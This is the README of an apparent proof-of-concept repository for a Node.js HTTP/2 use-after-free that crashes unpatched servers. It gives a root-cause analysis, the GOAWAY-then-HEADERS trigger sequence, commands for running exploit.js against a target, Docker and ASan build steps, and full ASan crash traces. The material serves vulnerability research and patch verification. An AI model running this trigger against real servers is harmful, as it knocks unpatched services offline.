open-flaw/cve-2026-56848Exploit PoC for CVE-2026-56848, a Node.js HTTP/2 heap-use-after-free that allows remote unauthenticated DoS. Includes raw-socket trigger, ASan build instructions, and Docker-based target.
A flaw in Node.js HTTP/2 handling allows
nghttp2_session_mem_send()to be called re-entrantly whilenghttp2_session_mem_recv()is executing, resulting in a heap-use-after-free.This vulnerability affects Node.js 26.x, 24.x, and 22.x.
(Note: versions mentioned in the description apply only to the upstream nodejs package and not the nodejs package as distributed by Alpine.
| Release line | Vulnerable | Fixed |
|---|
| 22.x (LTS) | ≤ 22.23.1 | 22.23.2 |
| 24.x (LTS) | ≤ 24.18.0 | 24.18.1 |
| 26.x | ≤ 26.5.0 | 26.5.1 |
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H — remote, unauthenticated DoS via heap corruption)daa6d25e3dce — "http2: defer rst stream while in scope" (nodejs-private/node-private#921)Http2Stream::SubmitRstStream() in src/node_http2.cc forces a purge of pending outbound data before queueing the RST_STREAM:
void Http2Stream::SubmitRstStream(const uint32_t code) {
CHECK(!this->is_destroyed());
code_ = code;
// (NGHTTP2_CANCEL is deferred — fix for an older double-free)
if (session_->is_in_scope() && is_stream_cancel(code)) {
session_->AddPendingRstStream(id_);
return;
}
// If possible, force a purge of any currently pending data here to make
// sure it is sent before closing the stream. ...
if (session_->SendPendingData() != 0) { // ← RE-ENTRANT mem_send()
session_->AddPendingRstStream(id_);
return;
}
FlushRstStream();
}
SendPendingData() calls nghttp2_session_mem_send() (node_http2.cc:1970). Its only re-entrancy guard is is_sending(), which protects against send-during-send (a write already in flight) — not against send-during-receive. When SubmitRstStream() runs from inside an nghttp2_session_mem_recv() callback chain ("in scope"), the purge runs mem_send() re-entrantly.
The re-entrant mem_send() flushes frames whose send-side processing tears down streams (nghttp2_session_close_stream_on_goaway() → on_stream_close → Http2Stream::Destroy() → free of the C++ Http2Stream). The freed stream is still referenced by the in-flight receive operation: SubmitRstStream() itself continues executing on the freed this (its trailing FlushRstStream() reads is_destroyed()), and the outer mem_recv() keeps walking frame/header state for the closed stream → heap-use-after-free.
nghttp2_session_mem_recv() call)GOAWAY(lastStreamID=0, NO_ERROR) immediately followed by HEADERS frames for new streams (3, 5, 7, …) in one TCP segment.mem_recv() processes GOAWAY → JS session.close() → session.closed = true and an outbound GOAWAY is submitted but not yet sent.session_allow_incoming_new_stream() checks TERM_ON_SEND | SENT, not SUBMITTED), so HEADERS(3) is still accepted.onSessionHeaders() sees a new stream on a closed session and refuses it: handle.rstStream(NGHTTP2_REFUSED_STREAM) (lib/internal/http2/core.js).SubmitRstStream(NGHTTP2_REFUSED_STREAM) runs in scope (inside mem_recv), REFUSED_STREAM ≠ CANCEL → falls through to SendPendingData() → re-entrant nghttp2_session_mem_send().session_close_stream_on_goaway(..., NGHTTP2_REFUSED_STREAM)), firing on_stream_close → Http2Stream::Destroy() frees the C++ stream object for stream 3.SubmitRstStream() on the freed object (FlushRstStream()), and the outer mem_recv() resumes on corrupted session/stream state → UAF.Evidence from NODE_DEBUG_NATIVE=http2 on a vulnerable server (one 86-byte read):
receiving 86 bytes, offset 0
complete frame received: type: 7 ← GOAWAY
submitting goaway ← GOAWAY submitted, NOT yet sent
beginning headers for stream 3 ← still accepted (only SUBMITTED)
handle headers frame for stream 3 ← JS: session.closed → refuse
sending rst_stream with code 7 ← SubmitRstStream(REFUSED_STREAM), in scope
sending pending data ← RE-ENTRANT mem_send()
stream 3 closed with code: 7 ← GOAWAY send closes stream 3
Removing stream: 3 / destroying stream ← Http2Stream freed mid-recv
The wire-level output is identical on vulnerable and patched builds (both end up sending only the outbound GOAWAY — on vulnerable builds the RST is submitted against an already-closed stream, on patched builds nghttp2 drops the queued RSTs once the GOAWAY goes out first). The difference is internal, visible with NODE_DEBUG_NATIVE=http2:
sending pending data appears between sending rst_stream with code 7 and stream 3 closed with code: 7 — the re-entrant mem_send() runs mid-receive and closes/destroys stream 3 while mem_recv() is still in flight (crash under ASan).sending pending data between them — the RST is merely queued; stream 3 closes only during the normal post-receive flush.server.js # minimal http2.createServer() target (no handler needed)
exploit.js # raw-socket HTTP/2 client that drives the trigger
# Terminal 1: the target (any vulnerable node: 22.23.1 / 24.18.0 / 26.5.0 or older in their lines)
node server.js 8000 # NODE_BIN=/path/to/node for a specific binary
# Terminal 2: the attack — a crash shows up in terminal 1 (ASan report / segfault)
node exploit.js --port 8000 --iterations 200
./bin/node (the local ASan build used below) is not tracked in git — build it
with the instructions under "Building an ASan-instrumented vulnerable Node.js",
or use the Docker route.
The exploit reports per-connection status; SKIPPED (no handshake) after the first
connection means the target already died from the attack.
The Dockerfile builds a vulnerable v22.23.1 target with ASan inside a container (no local toolchain needed — only the Docker daemon):
docker build -t cve-2026-56848 .
docker run --rm -p 8000:8000 --name cve-target cve-2026-56848
# from the host, in another terminal:
# you could reuse ./bin/node
node exploit.js --port 8000 --iterations 10
# inspect the crash (ASan report) and exit code:
docker logs cve-target
docker inspect cve-target --format '{{.State.ExitCode}}' # 133 (ASan abort) = crashed
Tip: if you already have an ASan-instrumented node binary built elsewhere, skip the
long compile and package it directly:
docker run --name cve-img -v /path/to/out/Release:/opt/node debian:bookworm-slim \
bash -c 'apt-get update -qq && apt-get install -y -qq libstdc++6 libatomic1 \
&& cp /opt/node/node /usr/local/bin/node-asan && mkdir -p /app'
docker cp server.js cve-img:/app/server.js
docker commit --change 'WORKDIR /app' --change 'EXPOSE 8000' \
--change 'ENV HOST=0.0.0.0' --change 'ENV ASAN_OPTIONS=detect_leaks=0:abort_on_error=1' \
--change 'ENTRYPOINT ["/usr/local/bin/node-asan"]' --change 'CMD ["server.js", "8000"]' \
cve-img cve-2026-56848:verified
Verified against the containerized target: the first attack connection produces
ERROR: AddressSanitizer: heap-use-after-free ... ABORTING in docker logs and
the container exits (133 on linux/arm64) — same UAF as the native ASan run.
Plain (non-ASan) variant using an official image, for hammering without a custom build:
docker run --rm -p 8000:8000 -e HOST=0.0.0.0 -v "$PWD/server.js":/server.js \
node:22.23.1-alpine node /server.js 8000
Note: if ASan fails to start inside the container with a shadow-memory range error (seen on some ARM64 kernels with high vm.mmap_rnd_bits), lower the entropy on the Docker host: sysctl vm.mmap_rnd_bits=28.
# Linux (officially supported):
git clone --depth 1 --branch v22.23.1 https://github.com/nodejs/node
cd node && ./configure --debug --enable-asan && make -j$(nproc)
# macOS (unofficial but works with clang):
git clone --depth 1 --branch v22.23.1 https://github.com/nodejs/node
cd node && CC=clang CXX=clang++ \
CFLAGS="-fsanitize=address -fno-omit-frame-pointer" \
CXXFLAGS="-fsanitize=address -fno-omit-frame-pointer" \
LDFLAGS="-fsanitize=address" \
./configure --debug --ninja && ninja -C out/Debug node
The ASan build reproduces the heap-use-after-free deterministically (typically on the first few connections). Plain release builds do not usually crash because the freed chunk is not immediately reused; hammering raises the odds but ASan is the reliable way to demonstrate the corruption.
| Target | Result |
|---|---|
| v22.23.1 + ASan (vulnerable) | Crashes on the first attack connection: heap-use-after-free → SIGABRT, runner exit 0 |
| v22.23.2 (patched) | Survives all connections, runner exit 1 |
ASan report (excerpt, v22.23.1 macOS arm64 build):
ERROR: AddressSanitizer: heap-use-after-free ... READ of size 1 at 0x60d000003cdc thread T0
#0 session_end_stream_headers_received nghttp2_session.c:3711
#1 session_after_header_block_received nghttp2_session.c:3824
#2 nghttp2_session_mem_recv2 nghttp2_session.c:6506
#3 nghttp2_session_mem_recv nghttp2_session.c:5421
#4 node::http2::Http2Session::ConsumeHTTP2Data() node_http2.cc:959
freed by thread T0 here:
...
#5 nghttp2_session_destroy_stream nghttp2_session.c:1369
#6 nghttp2_session_close_stream nghttp2_session.c:1350
#7 session_close_stream_on_goaway nghttp2_session.c:2442
#8 session_after_frame_sent1 nghttp2_session.c:2665
#9 nghttp2_session_mem_send2 nghttp2_session.c:3144 ← re-entrant send
#10 node::http2::Http2Session::SendPendingData() node_http2.cc:1970
#11 node::http2::Http2Stream::SubmitRstStream(...) node_http2.cc:2535
The outer mem_recv() reads stream->shut_flags from stream 3's nghttp2_stream — freed by the re-entrant mem_send()'s GOAWAY processing — exactly the re-entrancy described in the advisory.
➜ ./bin/node server.js 8000
[server] listening on 8000
=================================================================
==46874==ERROR: AddressSanitizer: heap-use-after-free on address 0x60d000003cdc at pc 0x00010984c5fc bp 0x00016b3e8c60 sp 0x00016b3e8c58
READ of size 1 at 0x60d000003cdc thread T0
#0 0x00010984c5f8 in session_end_stream_headers_received nghttp2_session.c:3711
#1 0x00010983e7d8 in session_after_header_block_received nghttp2_session.c:3824
#2 0x000109838518 in nghttp2_session_mem_recv2 nghttp2_session.c:6506
#3 0x000109832824 in nghttp2_session_mem_recv nghttp2_session.c:5421
#4 0x0001050a1a20 in node::http2::Http2Session::ConsumeHTTP2Data() node_http2.cc:959
#5 0x0001050ad564 in node::http2::Http2Session::OnStreamRead(long, uv_buf_t const&) node_http2.cc:2194
#6 0x000104dda218 in node::StreamResource::EmitRead(long, uv_buf_t const&) stream_base-inl.h:79
#7 0x000105544d1c in node::LibuvStreamWrap::OnUvRead(long, uv_buf_t const*) stream_wrap.cc:292
#8 0x000105547be4 in node::LibuvStreamWrap::ReadStart()::$_1::operator()(uv_stream_s*, long, uv_buf_t const*) const stream_wrap.cc:212
#9 0x0001055479bc in node::LibuvStreamWrap::ReadStart()::$_1::__invoke(uv_stream_s*, long, uv_buf_t const*) stream_wrap.cc:208
#10 0x0001085e025c in uv__read stream.c:1148
#11 0x0001085d5568 in uv__stream_io stream.c:1208
#12 0x000108600844 in uv__io_poll kqueue.c:423
#13 0x000108599e94 in uv_run core.c:460
#14 0x000104afc710 in node::SpinEventLoopInternal(node::Environment*) embed_helpers.cc:41
#15 0x000105134040 in node::NodeMainInstance::Run(node::ExitCode*, node::Environment*) node_main_instance.cc:111
#16 0x000105133564 in node::NodeMainInstance::Run() node_main_instance.cc:100
#17 0x000104e74864 in node::StartInternal(int, char**) node.cc:1630
#18 0x000104e73ed8 in node::Start(int, char**) node.cc:1637
#19 0x00010928e3d4 in main node_main.cc:97
#20 0x000189482b94 (<unknown module>)
0x60d000003cdc is located 124 bytes inside of 136-byte region [0x60d000003c60,0x60d000003ce8)
freed by thread T0 here:
#0 0x000117991424 in free+0x7c (libclang_rt.asan_osx_dynamic.dylib:arm64e+0x3d424)
#1 0x000104bebe3c in char* node::UncheckedRealloc<char>(char*, unsigned long) util-inl.h:261
#2 0x000105112128 in node::mem::NgLibMemoryManager<node::http2::Http2Session, nghttp2_mem>::ReallocImpl(void*, unsigned long, void*) node_mem-inl.h:53
#3 0x000105111f80 in node::mem::NgLibMemoryManager<node::http2::Http2Session, nghttp2_mem>::FreeImpl(void*, void*) node_mem-inl.h:83
#4 0x00010981a450 in nghttp2_mem_free nghttp2_mem.c:61
#5 0x000109825aa8 in nghttp2_session_destroy_stream nghttp2_session.c:1369
#6 0x0001098258ac in nghttp2_session_close_stream nghttp2_session.c:1350
#7 0x00010983002c in session_close_stream_on_goaway nghttp2_session.c:2442
#8 0x000109828e64 in session_after_frame_sent1 nghttp2_session.c:2665
#9 0x000109826804 in nghttp2_session_mem_send2 nghttp2_session.c:3144
#10 0x000109826724 in nghttp2_session_mem_send nghttp2_session.c:3124
#11 0x00010509e878 in node::http2::Http2Session::SendPendingData() node_http2.cc:1970
#12 0x0001050a359c in node::http2::Http2Stream::SubmitRstStream(unsigned int) node_http2.cc:2535
#13 0x0001050b973c in node::http2::Http2Stream::RstStream(v8::FunctionCallbackInfo<v8::Value> const&) node_http2.cc:3044
#14 0x0001086163d4 in Builtins_CallApiCallbackGeneric+0xb4 (node:arm64+0x103c0e3d4)
#15 0x00010861432c in Builtins_InterpreterEntryTrampoline+0x10c (node:arm64+0x103c0c32c)
#16 0x0001086117c8 in Builtins_JSEntryTrampoline+0xa8 (node:arm64+0x103c097c8)
#17 0x0001086114b0 in Builtins_JSEntry+0x90 (node:arm64+0x103c094b0)
#18 0x000105ff5358 in v8::internal::(anonymous namespace)::Invoke(v8::internal::Isolate*, v8::internal::(anonymous namespace)::InvokeParams const&) execution.cc:418
#19 0x000105ff408c in v8::internal::Execution::Call(v8::internal::Isolate*, v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Object>, int, v8::internal::Handle<v8::internal::Object>*) execution.cc:504
#20 0x00010590caac in v8::Function::Call(v8::Local<v8::Context>, v8::Local<v8::Value>, int, v8::Local<v8::Value>*) api.cc:5485
#21 0x000104af5168 in node::InternalMakeCallback(node::Environment*, v8::Local<v8::Object>, v8::Local<v8::Object>, v8::Local<v8::Function>, int, v8::Local<v8::Value>*, node::async_context, v8::Local<v8::Value>) callback.cc:237
#22 0x000104b69780 in node::AsyncWrap::MakeCallback(v8::Local<v8::Function>, int, v8::Local<v8::Value>*) async_wrap.cc:665
#23 0x0001050a463c in node::http2::Http2Session::HandleHeadersFrame(nghttp2_frame const*) node_http2.cc:1567
#24 0x000105092e68 in node::http2::Http2Session::OnFrameReceive(nghttp2_session*, nghttp2_frame const*, void*) node_http2.cc:1107
#25 0x00010982b5b0 in session_call_on_frame_received nghttp2_session.c:3229
#26 0x00010983e72c in session_after_header_block_received nghttp2_session.c:3815
#27 0x000109838518 in nghttp2_session_mem_recv2 nghttp2_session.c:6506
#28 0x000109832824 in nghttp2_session_mem_recv nghttp2_session.c:5421
#29 0x0001050a1a20 in node::http2::Http2Session::ConsumeHTTP2Data() node_http2.cc:959
previously allocated by thread T0 here:
#0 0x000117991520 in realloc+0x80 (libclang_rt.asan_osx_dynamic.dylib:arm64e+0x3d520)
#1 0x000104bebe58 in char* node::UncheckedRealloc<char>(char*, unsigned long) util-inl.h:265
#2 0x000105112128 in node::mem::NgLibMemoryManager<node::http2::Http2Session, nghttp2_mem>::ReallocImpl(void*, unsigned long, void*) node_mem-inl.h:53
#3 0x000105111f3c in node::mem::NgLibMemoryManager<node::http2::Http2Session, nghttp2_mem>::MallocImpl(unsigned long, void*) node_mem-inl.h:77
#4 0x00010981a3a0 in nghttp2_mem_malloc nghttp2_mem.c:57
#5 0x000109824728 in nghttp2_session_open_stream nghttp2_session.c:1227
#6 0x000109829ee8 in nghttp2_session_on_request_headers_received nghttp2_session.c:3910
#7 0x00010983c454 in session_process_headers_frame nghttp2_session.c:4058
#8 0x000109833ad4 in nghttp2_session_mem_recv2 nghttp2_session.c:5657
#9 0x000109832824 in nghttp2_session_mem_recv nghttp2_session.c:5421
#10 0x0001050a1a20 in node::http2::Http2Session::ConsumeHTTP2Data() node_http2.cc:959
#11 0x0001050ad564 in node::http2::Http2Session::OnStreamRead(long, uv_buf_t const&) node_http2.cc:2194
#12 0x000104dda218 in node::StreamResource::EmitRead(long, uv_buf_t const&) stream_base-inl.h:79
#13 0x000105544d1c in node::LibuvStreamWrap::OnUvRead(long, uv_buf_t const*) stream_wrap.cc:292
#14 0x000105547be4 in node::LibuvStreamWrap::ReadStart()::$_1::operator()(uv_stream_s*, long, uv_buf_t const*) const stream_wrap.cc:212
#15 0x0001055479bc in node::LibuvStreamWrap::ReadStart()::$_1::__invoke(uv_stream_s*, long, uv_buf_t const*) stream_wrap.cc:208
#16 0x0001085e025c in uv__read stream.c:1148
#17 0x0001085d5568 in uv__stream_io stream.c:1208
#18 0x000108600844 in uv__io_poll kqueue.c:423
#19 0x000108599e94 in uv_run core.c:460
#20 0x000104afc710 in node::SpinEventLoopInternal(node::Environment*) embed_helpers.cc:41
#21 0x000105134040 in node::NodeMainInstance::Run(node::ExitCode*, node::Environment*) node_main_instance.cc:111
#22 0x000105133564 in node::NodeMainInstance::Run() node_main_instance.cc:100
#23 0x000104e74864 in node::StartInternal(int, char**) node.cc:1630
#24 0x000104e73ed8 in node::Start(int, char**) node.cc:1637
#25 0x00010928e3d4 in main node_main.cc:97
#26 0x000189482b94 (<unknown module>)
SUMMARY: AddressSanitizer: heap-use-after-free nghttp2_session.c:3711 in session_end_stream_headers_received
Shadow bytes around the buggy address:
0x60d000003a00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x60d000003a80: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
0x60d000003b00: fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa
0x60d000003b80: fa fa 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x60d000003c00: 00 00 00 fa fa fa fa fa fa fa fa fa fd fd fd fd
=>0x60d000003c80: fd fd fd fd fd fd fd fd fd fd fd[fd]fd fa fa fa
0x60d000003d00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x60d000003d80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x60d000003e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x60d000003e80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x60d000003f00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==46874==ABORTING
[1] 46874 abort ./bin/node server.js 8000